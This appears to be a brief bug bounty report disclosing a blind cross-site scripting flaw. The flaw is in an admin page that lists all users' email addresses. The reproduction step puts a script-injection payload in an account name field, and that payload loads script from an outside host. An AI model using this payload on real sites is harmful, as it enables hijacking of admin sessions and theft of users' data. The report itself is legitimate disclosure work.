How it was found
Hi,
my previously reported blind xss is fixed but i found same type of xss in diffrent area with more impact.
Steps to repro:
- create new account with name
"><script src=https://x.com></script>here https://parcel.grab.com/ - afftected page is https://app.detrack.com/a/ where admin can see all the user's of application and this is one more impact full because it contains all the user's email address. attacker can hijack all the information from there using xss affeffcted page poc: {F204498██████████
- go here https://app.detrack.com/a/ and find ████████ , that is my account with xss payload.
thanks
